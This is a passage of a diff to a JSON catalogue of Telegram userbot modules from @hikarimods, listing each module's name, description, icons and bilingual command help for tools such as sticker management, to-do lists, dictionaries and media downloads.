Restore mods from backup" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "hikariatama/ftg/silent_tags.py": { + "name": "SilentTagsMod", + "description": "Mutes tags and logs them", + "meta": { + "pic": "https://static.dan.tatar/silent_tags_icon.png", + "banner": "https://mods.hikariatama.ru/badges/silent_tags.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "stagscmd": "<on\\off> - Toggle notifications about tags" + } + ], + "new_commands": [ + { + "stags": { + "ru_doc": null, + "en_doc": null, + "doc": "<on\\off> - Toggle notifications about tags" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "hikariatama/ftg/speller.py": { + "name": "SpellCheckMod", + "description": "Just a simple two-lang spell checker", + "meta": { + "pic": "https://img.icons8.com/fluency/240/000000/spell-check.png", + "banner": "https://mods.hikariatama.ru/badges/speller.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "spellcmd": "Perform spell check on reply" + } + ], + "new_commands": [ + { + "spell": { + "ru_doc": null, + "en_doc": null, + "doc": "Perform spell check on reply" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, "hikariatama/ftg/voicechat.py": { "name": "VoiceChatMod", "description": "Toolkit for VoiceChats handling\nDISCLAIMER: THIS MODULE MAY CAUSE MEMORY LEAK AND CORRUPT YOUR SERVER DUE TO PYTGCALLS BUG\nUSE WITH CAUTION. DON'T FORGET TO LIMIT YOUR HIKKA DAEMON BY RAM AND CPU USAGE!", @@ -11734,176 +35500,25 @@ "Media" ] }, - "hikariatama/ftg/teledocs.py": { - "name": "TeledocsMod", - "description": "Telethon docs in your pocket", + "hikariatama/ftg/aniquotes.py": { + "name": "AnimatedQuotesMod", + "description": "Simple module to create animated stickers via bot", "meta": { - "pic": "https://i.imgur.com/jH9i1SW.jpeg", - "banner": "https://mods.hikariatama.ru/badges/teledocs.jpg", + "pic": "https://static.dan.tatar/aniquotes_icon.png", + "banner": "https://mods.hikariatama.ru/badges/aniquotes.jpg", "developer": "@hikarimods" }, "commands": [ { - "tlcmd": "<ref> - Return telethon reference" + "aniqcmd": "<text> - Create animated quote" } ], "new_commands": [ { - "tl": { + "aniq": { "ru_doc": null, "en_doc": null, - "doc": "<ref> - Return telethon reference" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "hikariatama/ftg/banstickers.py": { - "name": "BanStickers", - "description": "Bans stickerpacks, stickers and gifs in chat", - "meta": { - "pic": "https://img.icons8.com/fluency/344/cancel-2.png", - "banner": "https://mods.hikariatama.ru/badges/banstickers.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "banstick": "<reply to sticker> - Ban sticker in current chat <ответ на стикер> - Запретить стикер в текущем чате" - }, - { - "banpack": "<reply to sticker> - Ban the whole stickerpack in current chat <ответ на стикер> - Запретить весь стикерпак в текущем чате" - }, - { - "unbanstick": "<reply to sticker> - Unban sticker in current chat <ответ на стикер> - Разбанить стикер в текущем чате" - }, - { - "unbanpack": "<reply to sticker> - Unban the whole stickerpack in current chat <ответ на стикер> - Разбанить весь стикерпак в текущем чате" - }, - { - "unbanall": "Remove all restrictions in current chat Убрать все ограничения в текущем чате" - }, - { - "bananim": "Restrict animated stickers in current chat Запретить анимированные и видео стикеры в этом чате" - }, - { - "unbananim": "Unrestrict animated stickers in current chat Разблокировать анимированные и видео стикеры в этом чате" - } - ], - "new_commands": [ - { - "banstick": { - "ru_doc": "<ответ на стикер> - Запретить стикер в текущем чате", - "en_doc": null, - "doc": "<reply to sticker> - Ban sticker in current chat" - } - }, - { - "banpack": { - "ru_doc": "<ответ на стикер> - Запретить весь стикерпак в текущем чате", - "en_doc": null, - "doc": "<reply to sticker> - Ban the whole stickerpack in current chat" - } - }, - { - "unbanstick": { - "ru_doc": "<ответ на стикер> - Разбанить стикер в текущем чате", - "en_doc": null, - "doc": "<reply to sticker> - Unban sticker in current chat" - } - }, - { - "unbanpack": { - "ru_doc": "<ответ на стикер> - Разбанить весь стикерпак в текущем чате", - "en_doc": null, - "doc": "<reply to sticker> - Unban the whole stickerpack in current chat" - } - }, - { - "unbanall": { - "ru_doc": "Убрать все ограничения в текущем чате", - "en_doc": null, - "doc": "Remove all restrictions in current chat" - } - }, - { - "bananim": { - "ru_doc": "Запретить анимированные и видео стикеры в этом чате", - "en_doc": null, - "doc": "Restrict animated stickers in current chat" - } - }, - { - "unbananim": { - "ru_doc": "Разблокировать анимированные и видео стикеры в этом чате", - "en_doc": null, - "doc": "Unrestrict animated stickers in current chat" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "hikariatama/ftg/vtt.py": { - "name": "VoicyMod", - "description": "Recognize voice messages, audios, videos and round messages", - "meta": { - "pic": "https://static.dan.tatar/vtt_icon.png", - "banner": "https://mods.hikariatama.ru/badges/vtt.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "voicycmd": "Recognize voice message" - }, - { - "autovoicecmd": "Toggle automatic recognition in current chat" - } - ], - "new_commands": [ - { - "voicy": { - "ru_doc": null, - "en_doc": null, - "doc": "Recognize voice message" - } - }, - { - "autovoice": { - "ru_doc": null, - "en_doc": null, - "doc": "Toggle automatic recognition in current chat" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "hikariatama/ftg/dyslexia.py": { - "name": "DyslexiaMod", - "description": "Shows the text as how you would see it if you have dyslexia", - "meta": { - "pic": "https://img.icons8.com/fluency/240/000000/apple-music-lyrics.png", - "banner": "https://mods.hikariatama.ru/badges/dyslexia.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "dyslexcmd": "<text | reply> - Show, how people with dyslexia would have seen this text" - } - ], - "new_commands": [ - { - "dyslex": { - "ru_doc": null, - "en_doc": null, - "doc": "<text | reply> - Show, how people with dyslexia would have seen this text" + "doc": "<text> - Create animated quote" } } ], @@ -11912,25 +35527,72 @@ "Chat" ] }, - "hikariatama/ftg/purr.py": { - "name": "KeywordMod", - "description": "Sends purr-r message", + "hikariatama/ftg/todo.py": { + "name": "TodoMod", + "description": "ToDo List", "meta": { - "pic": "https://static.dan.tatar/purr_icon.png", - "banner": "https://mods.hikariatama.ru/badges/purr.jpg", + "pic": "https://img.icons8.com/stickers/500/000000/todo-list.png", + "banner": "https://mods.hikariatama.ru/badges/todo.jpg", "developer": "@hikarimods" }, "commands": [ { - "purrcmd": "Sends 'purr' voice message" + "tdcmd": "[importance:int] <item> - Add task" + }, + { + "tdlcmd": "Show active tasks" + }, + { + "utdcmd": "<id> - Remove task from todo" } ], "new_commands": [ { - "purr": { + "td": { "ru_doc": null, "en_doc": null, - "doc": "Sends 'purr' voice message" + "doc": "[importance:int] <item> - Add task" + } + }, + { + "tdl": { + "ru_doc": null, + "en_doc": null, + "doc": "Show active tasks" + } + }, + { + "utd": { + "ru_doc": null, + "en_doc": null, + "doc": "<id> - Remove task from todo" + } + } + ], + "category": [ + "Moderation", + "Chat" + ] + }, + "hikariatama/ftg/lastcommand.py": { + "name": "LastCommandMod", + "description": "Execute last command", + "meta": { + "pic": "https://static.dan.tatar/lastcommand_icon.png", + "banner": "https://mods.hikariatama.ru/badges/lastcommand.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "lccmd": "Execute last command" + } + ], + "new_commands": [ + { + "lc": { + "ru_doc": null, + "en_doc": null, + "doc": "Execute last command" } } ], @@ -11939,106 +35601,62 @@ "Chat" ] }, - "hikariatama/ftg/activists.py": { - "name": "ActivistsMod", - "description": "Looks for the most active users in chat", + "hikariatama/ftg/oxford.py": { + "name": "OxfordMod", + "description": "Quickly access word definitions in Oxford Learners dictionary", "meta": { - "pic": "https://static.dan.tatar/activists_icon.png", - "banner": "https://mods.hikariatama.ru/badges/activists.jpg", + "pic": "https://static.dan.tatar/oxford_icon.png", + "banner": "https://mods.hikariatama.ru/badges/oxford.jpg", "developer": "@hikarimods" }, "commands": [ { - "activistscmd": "[quantity] [-m <int>] - Find top active users in chat" + "oxford": "<term> - Search word in Oxford Learner's Dictionary <слово> - Поиск слова в образовательном Оксфордском словаре" } ], "new_commands": [ { - "activists": { - "ru_doc": null, + "oxford": { + "ru_doc": "<слово> - Поиск слова в образовательном Оксфордском словаре", "en_doc": null, - "doc": "[quantity] [-m <int>] - Find top active users in chat" + "doc": "<term> - Search word in Oxford Learner's Dictionary" } } ], "category": [ "Chat", - "Tools" + "Customization" ] }, - "hikariatama/ftg/speller.py": { - "name": "SpellCheckMod", - "description": "Just a simple two-lang spell checker", + "hikariatama/ftg/waifu.py": { + "name": "WaifuMod", + "description": "Unleash best waifus of all time", "meta": { - "pic": "https://img.icons8.com/fluency/240/000000/spell-check.png", - "banner": "https://mods.hikariatama.ru/badges/speller.jpg", + "pic": "https://static.dan.tatar/waifu_icon.png", + "banner": "https://mods.hikariatama.ru/badges/waifu.jpg", "developer": "@hikarimods" }, "commands": [ { - "spellcmd": "Perform spell check on reply" + "waifucmd": "[nsfw] [category] - Send waifu" + }, + { + "waifuscmd": "Show available categories" } ], "new_commands": [ { - "spell": { + "waifu": { "ru_doc": null, "en_doc": null, - "doc": "Perform spell check on reply" + "doc": "[nsfw] [category] - Send waifu" } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "hikariatama/ftg/web2file.py": { - "name": "Web2fileMod", - "description": "Download content from link and send it as file", - "meta": { - "pic": "https://img.icons8.com/fluency/240/000000/archive.png", - "banner": "https://mods.hikariatama.ru/badges/web2file.jpg", - "developer": "@hikarimods" - }, - "commands": [ + }, { - "web2filecmd": "Send link content as file" - } - ], - "new_commands": [ - { - "web2file": { + "waifus": { "ru_doc": null, "en_doc": null, - "doc": "Send link content as file" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "hikariatama/ftg/deepl.py": { - "name": "DeepLMod", - "description": "Translates text via DeepL scraping. Proxies are recommended", - "meta": { - "pic": "https://img.icons8.com/external-xnimrodx-lineal-color-xnimrodx/512/000000/external-translate-discussion-xnimrodx-lineal-color-xnimrodx.png", - "banner": "https://mods.hikariatama.ru/badges/deepl.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "deeplcmd": "<text or reply> - Translate text via DeepL scraping" - } - ], - "new_commands": [ - { - "deepl": { - "ru_doc": null, - "en_doc": null, - "doc": "<text or reply> - Translate text via DeepL scraping" + "doc": "Show available categories" } } ], @@ -12047,6 +35665,215 @@ "Chat" ] }, + "hikariatama/ftg/edutatar.py": { + "name": "EduTatarMod", + "description": "Telegram client for edu.tatar.ru", + "meta": { + "pic": "https://static.dan.tatar/edutatar_icon.png", + "banner": "https://mods.hikariatama.ru/badges/edutatar.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "eduweekcmd": "Show schedule for a week" + }, + { + "edudaycmd": "<day:integer{0,}> - Show schedule for today" + }, + { + "edutermcmd": "Get term grades" + } + ], + "new_commands": [ + { + "eduweek": { + "ru_doc": null, + "en_doc": null, + "doc": "Show schedule for a week" + } + }, + { + "eduday": { + "ru_doc": null, + "en_doc": null, + "doc": "<day:integer{0,}> - Show schedule for today" + } + }, + { + "eduterm": { + "ru_doc": null, + "en_doc": null, + "doc": "Get term grades" + } + } + ], + "category": [ + "Tools", + "Info" + ] + }, + "hikariatama/ftg/mindgame.py": { + "name": "MindGameMod", + "description": "Train your brain and mind", + "meta": { + "pic": "https://static.dan.tatar/mindgame_icon.png", + "banner": "https://mods.hikariatama.ru/badges/mindgame.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "mindgamecmd": "Open a new mindgame" + } + ], + "new_commands": [ + { + "mindgame": { + "ru_doc": null, + "en_doc": null, + "doc": "Open a new mindgame" + } + } + ], + "category": [ + "Tools", + "Games" + ] + }, + "hikariatama/ftg/premium_sticks.py": { + "name": "PremiumStickersMod", + "description": "Sends premium stickers for free", + "meta": { + "pic": "https://0x0.st/ojP2.png", + "banner": "https://mods.hikariatama.ru/badges/premium_sticks.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "premstickcmd": "Send random premium sticker without premium" + } + ], + "new_commands": [ + { + "premstick": { + "ru_doc": null, + "en_doc": null, + "doc": "Send random premium sticker without premium" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "hikariatama/ftg/musicdl.py": { + "name": "MusicDLMod", + "description": "Download music", + "meta": { + "pic": "https://static.dan.tatar/musicdl_icon.png", + "banner": "https://mods.hikariatama.ru/badges/musicdl.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "mdl": "<name> - Download track <название> - Скачать песню" + } + ], + "new_commands": [ + { + "mdl": { + "ru_doc": "<название> - Скачать песню", + "en_doc": null, + "doc": "<name> - Download track" + } + } + ], + "category": [ + "Media", + "Tools" + ] + }, + "hikariatama/ftg/longread.py": { + "name": "LongReadMod", + "description": "Pack longreads under button spoilers", + "meta": { + "pic": "https://static.dan.tatar/longread_icon.png", + "banner": "https://mods.hikariatama.ru/badges/longread.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "lrcmd": "<text> - Create new hidden message" + } + ], + "new_commands": [ + { + "lr": { + "ru_doc": null, + "en_doc": null, + "doc": "<text> - Create new hidden message" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "hikariatama/ftg/dictionary.py": { + "name": "UrbanDictionaryMod", + "description": "Search for words meaning in urban dictionary", + "meta": { + "pic": "https://static.dan.tatar/dictionary_icon.png", + "banner": "https://mods.hikariatama.ru/badges/dictionary.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "meancmd": "<term> - Find definition of the word in urban dictionary" + } + ], + "new_commands": [ + { + "mean": { + "ru_doc": null, + "en_doc": null, + "doc": "<term> - Find definition of the word in urban dictionary" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "hikariatama/ftg/tagall.py": { + "name": "TagAllMod", + "description": "Tags all people in chat with either inline bot or client", + "meta": { + "pic": "https://static.dan.tatar/tagall_icon.png", + "banner": "https://mods.hikariatama.ru/badges/tagall.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "tagall": "[text] - Tag all users in chat [текст] - Отметить всех участников чата" + } + ], + "new_commands": [ + { + "tagall": { + "ru_doc": "[текст] - Отметить всех участников чата", + "en_doc": null, + "doc": "[text] - Tag all users in chat" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, "hikariatama/ftg/dnd_statuses.py": { "name": "StatusesMod", "description": "AFK Module analog with extended functionality", @@ -12114,52 +35941,79 @@ "Tools" ] }, - "hikariatama/ftg/mindgame.py": { - "name": "MindGameMod", - "description": "Train your brain and mind", + "hikariatama/ftg/activists.py": { + "name": "ActivistsMod", + "description": "Looks for the most active users in chat", "meta": { - "pic": "https://static.dan.tatar/mindgame_icon.png", - "banner": "https://mods.hikariatama.ru/badges/mindgame.jpg", + "pic": "https://static.dan.tatar/activists_icon.png", + "banner": "https://mods.hikariatama.ru/badges/activists.jpg", "developer": "@hikarimods" }, "commands": [ { - "mindgamecmd": "Open a new mindgame" + "activistscmd": "[quantity] [-m <int>] - Find top active users in chat" } ], "new_commands": [ { - "mindgame": { + "activists": { "ru_doc": null, "en_doc": null, - "doc": "Open a new mindgame" + "doc": "[quantity] [-m <int>] - Find top active users in chat" } } ], "category": [ - "Tools", - "Games" + "Chat", + "Tools" ] }, - "hikariatama/ftg/account_switcher.py": { - "name": "AccountSwitcherMod", - "description": "Allows you to easily switch between different profiles", + "hikariatama/ftg/yoopay.py": { + "name": "YooMoneyMod", + "description": "Send Yoomoney pay link", "meta": { - "pic": "https://static.dan.tatar/account_switcher_icon.png", - "banner": "https://mods.hikariatama.ru/badges/account_switcher.jpg", + "pic": "https://static.dan.tatar/yoopay_icon.png", + "banner": "https://mods.hikariatama.ru/badges/yoopay.jpg", "developer": "@hikarimods" }, "commands": [ { - "accsavecmd": "Save account for future restoring" + "yoopaycmd": "<sum> <title> ; <comment> - Send payment link\nE.g: .yoopay 100 For coffee ; Bro, buy me a coffe, here is the link" } ], "new_commands": [ { - "accsave": { + "yoopay": { "ru_doc": null, "en_doc": null, - "doc": "Save account for future restoring" + "doc": "<sum> <title> ; <comment> - Send payment link\nE.g: .yoopay 100 For coffee ; Bro, buy me a coffe, here is the link" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "hikariatama/ftg/craiyon.py": { + "name": "CrAIyonMod", + "description": "Generates images by description using Craiyon AI (DALL-E)", + "meta": { + "pic": "https://static.dan.tatar/craiyon_icon.png", + "banner": "https://mods.hikariatama.ru/badges/craiyon.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "craiyoncmd": "<description> - Generate an image by description using Craiyon AI (DALL-E)" + } + ], + "new_commands": [ + { + "craiyon": { + "ru_doc": null, + "en_doc": null, + "doc": "<description> - Generate an image by description using Craiyon AI (DALL-E)" } } ], @@ -12168,337 +36022,62 @@ "Chat" ] }, - "hikariatama/ftg/feedback.py": { - "name": "FeedbackMod", - "description": "Simple feedback bot for Hikka", + "hikariatama/ftg/youtube.py": { + "name": "YouTubeMod", + "description": "Download YouTube video", "meta": { - "pic": "https://static.dan.tatar/feedback_icon.png", - "banner": "https://mods.hikariatama.ru/badges/feedback.jpg", + "pic": "https://img.icons8.com/plasticine/400/000000/youtube-play--v2.png", + "banner": "https://mods.hikariatama.ru/badges/youtube.jpg", "developer": "@hikarimods" }, - "commands": [], - "new_commands": [], + "commands": [ + { + "ytcmd": "[mp3] <link> - Download video from youtube" + } + ], + "new_commands": [ + { + "yt": { + "ru_doc": null, + "en_doc": null, + "doc": "[mp3] <link> - Download video from youtube" + } + } + ], "category": [ - "Tools", + "Media", "Chat" ] }, - "hikariatama/ftg/git_pusher.py": { - "name": "GitPusherMod", - "description": "Easily push your repo from within the Telegram", + "hikariatama/ftg/httpsc.py": { + "name": "HttpErrorsMod", + "description": "Dictionary of http status codes", "meta": { - "pic": "https://static.dan.tatar/git_pusher.png", - "banner": "https://mods.hikariatama.ru/badges/git_pusher.jpg", + "pic": "https://img.icons8.com/external-flaticons-lineal-color-flat-icons/512/000000/external-status-agile-flaticons-lineal-color-flat-icons-2.png", + "banner": "https://mods.hikariatama.ru/badges/httpsc.jpg", "developer": "@hikarimods" }, "commands": [ { - "setghdircmd": "<path> - Set directory as upstream" + "httpsccmd": "<statuscode> - Get status code info" }, { - "pushcmd": "[commit message] - Push current upstream directory" + "httpscscmd": "Get all http status codes" } ], "new_commands": [ { - "setghdir": { + "httpsc": { "ru_doc": null, "en_doc": null, - "doc": "<path> - Set directory as upstream" + "doc": "<statuscode> - Get status code info" } }, { - "push": { + "httpscs": { "ru_doc": null, "en_doc": null, - "doc": "[commit message] - Push current upstream directory" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "hikariatama/ftg/dictionary.py": { - "name": "UrbanDictionaryMod", - "description": "Search for words meaning in urban dictionary", - "meta": { - "pic": "https://static.dan.tatar/dictionary_icon.png", - "banner": "https://mods.hikariatama.ru/badges/dictionary.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "meancmd": "<term> - Find definition of the word in urban dictionary" - } - ], - "new_commands": [ - { - "mean": { - "ru_doc": null, - "en_doc": null, - "doc": "<term> - Find definition of the word in urban dictionary" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "hikariatama/ftg/todo.py": { - "name": "TodoMod", - "description": "ToDo List", - "meta": { - "pic": "https://img.icons8.com/stickers/500/000000/todo-list.png", - "banner": "https://mods.hikariatama.ru/badges/todo.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "tdcmd": "[importance:int] <item> - Add task" - }, - { - "tdlcmd": "Show active tasks" - }, - { - "utdcmd": "<id> - Remove task from todo" - } - ], - "new_commands": [ - { - "td": { - "ru_doc": null, - "en_doc": null, - "doc": "[importance:int] <item> - Add task" - } - }, - { - "tdl": { - "ru_doc": null, - "en_doc": null, - "doc": "Show active tasks" - } - }, - { - "utd": { - "ru_doc": null, - "en_doc": null, - "doc": "<id> - Remove task from todo" - } - } - ], - "category": [ - "Moderation", - "Chat" - ] - }, - "hikariatama/ftg/lovemagic.py": { - "name": "ILYMod", - "description": "Famous TikTok hearts animation implemented in Hikka w/o logspam", - "meta": { - "pic": "https://static.dan.tatar/lovemagic_icon.png", - "banner": "https://mods.hikariatama.ru/badges/lovemagic.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "ilyicmd": "Send inline message with animated hearts Отправить анимацию сердец в инлайне" - }, - { - "ily": "Send message with animated hearts Отправить анимацию сердец" - }, - { - "ilygayicmd": "Send inline message with animated hearts (gay) Отправить гейскую анимацию сердец в инлайне" - }, - { - "ilygay": "Send message with animated hearts (gay) Отправить гейскую анимацию сердец" - } - ], - "new_commands": [ - { - "ilyi": { - "ru_doc": "Отправить анимацию сердец в инлайне", - "en_doc": null, - "doc": "Send inline message with animated hearts" - } - }, - { - "ily": { - "ru_doc": "Отправить анимацию сердец", - "en_doc": null, - "doc": "Send message with animated hearts" - } - }, - { - "ilygayi": { - "ru_doc": "Отправить гейскую анимацию сердец в инлайне", - "en_doc": null, - "doc": "Send inline message with animated hearts (gay)" - } - }, - { - "ilygay": { - "ru_doc": "Отправить гейскую анимацию сердец", - "en_doc": null, - "doc": "Send message with animated hearts (gay)" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "hikariatama/ftg/donations.py": { - "name": "HikariDonationsMod", - "description": "Создает виджеты для доната", - "meta": { - "pic": "https://static.dan.tatar/donations_icon.png", - "banner": "https://mods.hikariatama.ru/badges/donations.jpg", - "desc": "[RU] Create donate widgets through Hikari.Donations platform", - "developer": "@hikarimods" - }, - "commands": [ - { - "donatecmd": "<сумма> <описание> - Создать новый донатный виджет в текущем чате" - } - ], - "new_commands": [ - { - "donate": { - "ru_doc": null, - "en_doc": null, - "doc": "<сумма> <описание> - Создать новый донатный виджет в текущем чате" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "hikariatama/ftg/bfg.py": { - "name": "BFG2Mod", - "description": "Tasks automation for @bforgame_bot", - "meta": { - "pic": "https://static.dan.tatar/bfg_icon.png", - "banner": "https://mods.hikariatama.ru/badges/bfg.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "farmlvlcmd": "[levels] - Level-up farm for specfied amount of levels [уровни] - покупка уровней для фермы" - }, - { - "businesslvlcmd": "[levels] - Level-up business for specfied amount of levels (territory + business itself) [уровни] - покупка уровней для бизнеса (территория + сам бизнес)" - } - ], - "new_commands": [ - { - "farmlvl": { - "ru_doc": "[уровни] - покупка уровней для фермы", - "en_doc": null, - "doc": "[levels] - Level-up farm for specfied amount of levels" - } - }, - { - "businesslvl": { - "ru_doc": "[уровни] - покупка уровней для бизнеса (территория + сам бизнес)", - "en_doc": null, - "doc": "[levels] - Level-up business for specfied amount of levels (territory + business itself)" - } - } - ], - "category": [ - "Tools", - "Info" - ] - }, - "hikariatama/ftg/waifu.py": { - "name": "WaifuMod", - "description": "Unleash best waifus of all time", - "meta": { - "pic": "https://static.dan.tatar/waifu_icon.png", - "banner": "https://mods.hikariatama.ru/badges/waifu.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "waifucmd": "[nsfw] [category] - Send waifu" - }, - { - "waifuscmd": "Show available categories" - } - ], - "new_commands": [ - { - "waifu": { - "ru_doc": null, - "en_doc": null, - "doc": "[nsfw] [category] - Send waifu" - } - }, - { - "waifus": { - "ru_doc": null, - "en_doc": null, - "doc": "Show available categories" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "hikariatama/ftg/linter.py": { - "name": "PyLinterMod", - "description": "`Black` plugin wrapper for telegram", - "meta": { - "pic": "https://static.dan.tatar/linter_icon.png", - "banner": "https://mods.hikariatama.ru/badges/linter.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "lintcmd": "[code|reply] - Perform automatic lint to python code" - } - ], - "new_commands": [ - { - "lint": { - "ru_doc": null, - "en_doc": null, - "doc": "[code|reply] - Perform automatic lint to python code" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "hikariatama/ftg/catboy.py": { - "name": "CatboyMod", - "description": "Sends cute anime boy pictures", - "meta": { - "pic": "https://static.dan.tatar/catboy_icon.png", - "banner": "https://mods.hikariatama.ru/badges/catboy.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "catboycmd": "Send catboy picture Показать кошкомальчика" - } - ], - "new_commands": [ - { - "catboy": { - "ru_doc": "Показать кошкомальчика", - "en_doc": null, - "doc": "Send catboy picture" + "doc": "Get all http status codes" } } ], @@ -12507,60 +36086,571 @@ "Tools" ] }, - "hikariatama/ftg/hikkamods_socket.py": { - "name": "HikkaModsSocketMod", - "description": "Gives @hikkamods_bot a right to download modules from official modules aggregator and autoupdate them", + "hikariatama/ftg/sticks.py": { + "name": "StickManagerMod", + "description": "Sticker manager with video stickers support and friendly design", "meta": { - "pic": null, - "banner": null, + "pic": "https://img.icons8.com/fluency/240/000000/sticker.png", + "banner": "https://mods.hikariatama.ru/badges/sticks.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "rmbg": "<reply> - Remove background from image <ответ> - Убрать фон с картинки" + }, + { + "newpack": "<short_name> <name> [-a <alias>] - Create new pack <short_name> <название> [-a <алиас>] - Создать новый стикерпак" + }, + { + "newvidpack": "<short_name> <name> [-a <alias>] - Create new video stickers pack <short_name> <имя> [-a <алиас>] - Создать новый видео стикерпак" + }, + { + "syncpacks": "Sync existing stickersets with @stickers Синхронизировать стикерпаки с @stickers" + }, + { + "packs": "Short available stickersets Показать доступные стикерпаки" + }, + { + "stickalias": "<alias> [short_name] - Add or remove alias <алиас> [short_name] - Добавить или удалить алиас" + }, + { + "stickdef": "<short_name|alias> - Set default stickerpack <short_name|алиас> - Установить стандартный стикерпак" + }, + { + "rmpack": "<short_name|alias> - Remove stickerpack <short_name|алиас> - Удалить стикерпак" + }, + { + "unstick": "<reply> - Remove sticker from pack <реплай> - Удалить стикер из пака" + }, + { + "stick": "[emoji] [short_name|alias] [-o - add outline] [-r - remove background] [-q - Do not add sticker to pack, just send it] [-t <text> - add text] - Add sticker to pack. If not specified - default\nExample:\n.stick mypack -o -r -q -t Hello world! [эмодзи] [short_name|алиам] [-o - добавить окантовку] [-r - убрать фон] [-q - Не добавлять в пак, а просто отправить стикер] [-t <текст> - наложить текст] - Добавить стикер \\ картинку в пак. Если не указано в какой, будет использован стандартный\nПример:\n.stick mypack -o -r -q -t Привет, мир!" + }, + { + "rmrecent": "Clear recently used stickers Очистить недавно использованные стикеры" + } + ], + "new_commands": [ + { + "rmbg": { + "ru_doc": "<ответ> - Убрать фон с картинки", + "en_doc": null, + "doc": "<reply> - Remove background from image" + } + }, + { + "newpack": { + "ru_doc": "<short_name> <название> [-a <алиас>] - Создать новый стикерпак", + "en_doc": null, + "doc": "<short_name> <name> [-a <alias>] - Create new pack" + } + }, + { + "newvidpack": { + "ru_doc": "<short_name> <имя> [-a <алиас>] - Создать новый видео стикерпак", + "en_doc": null, + "doc": "<short_name> <name> [-a <alias>] - Create new video stickers pack" + } + }, + { + "syncpacks": { + "ru_doc": "Синхронизировать стикерпаки с @stickers", + "en_doc": null, + "doc": "Sync existing stickersets with @stickers" + } + }, + { + "packs": { + "ru_doc": "Показать доступные стикерпаки", + "en_doc": null, + "doc": "Short available stickersets" + } + }, + { + "stickalias": { + "ru_doc": "<алиас> [short_name] - Добавить или удалить алиас", + "en_doc": null, + "doc": "<alias> [short_name] - Add or remove alias" + } + }, + { + "stickdef": { + "ru_doc": "<short_name|алиас> - Установить стандартный стикерпак", + "en_doc": null, + "doc": "<short_name|alias> - Set default stickerpack" + } + }, + { + "rmpack": { + "ru_doc": "<short_name|алиас> - Удалить стикерпак", + "en_doc": null, + "doc": "<short_name|alias> - Remove stickerpack" + } + }, + { + "unstick": { + "ru_doc": "<реплай> - Удалить стикер из пака", + "en_doc": null, + "doc": "<reply> - Remove sticker from pack" + } + }, + { + "stick": { + "ru_doc": "[эмодзи] [short_name|алиам] [-o - добавить окантовку] [-r - убрать фон] [-q - Не добавлять в пак, а просто отправить стикер] [-t <текст> - наложить текст] - Добавить стикер \\ картинку в пак. Если не указано в какой, будет использован стандартный\nПример:\n.stick mypack -o -r -q -t Привет, мир!", + "en_doc": null, + "doc": "[emoji] [short_name|alias] [-o - add outline] [-r - remove background] [-q - Do not add sticker to pack, just send it] [-t <text> - add text] - Add sticker to pack. If not specified - default\nExample:\n.stick mypack -o -r -q -t Hello world!" + } + }, + { + "rmrecent": { + "ru_doc": "Очистить недавно использованные стикеры", + "en_doc": null, + "doc": "Clear recently used stickers" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "hikariatama/ftg/serverinfo.py": { + "name": "serverInfoMod", + "description": "Show server info", + "meta": { + "pic": "https://static.dan.tatar/serverinfo_icon.png", + "banner": "https://mods.hikariatama.ru/badges/serverinfo.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "serverinfo": "Show server info Показать информацию о сервере" + } + ], + "new_commands": [ + { + "serverinfo": { + "ru_doc": "Показать информацию о сервере", + "en_doc": null, + "doc": "Show server info" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "hikariatama/ftg/teledocs.py": { + "name": "TeledocsMod", + "description": "Telethon docs in your pocket", + "meta": { + "pic": "https://i.imgur.com/jH9i1SW.jpeg", + "banner": "https://mods.hikariatama.ru/badges/teledocs.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "tlcmd": "<ref> - Return telethon reference" + } + ], + "new_commands": [ + { + "tl": { + "ru_doc": null, + "en_doc": null, + "doc": "<ref> - Return telethon reference" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "hikariatama/ftg/hw.py": { + "name": "HomeworkMod", + "description": "Simple Homework planner", + "meta": { + "pic": "https://static.dan.tatar/hw_icon.png", + "banner": "https://mods.hikariatama.ru/badges/hw.jpg", + "developer": "@hikarimods" + }, + 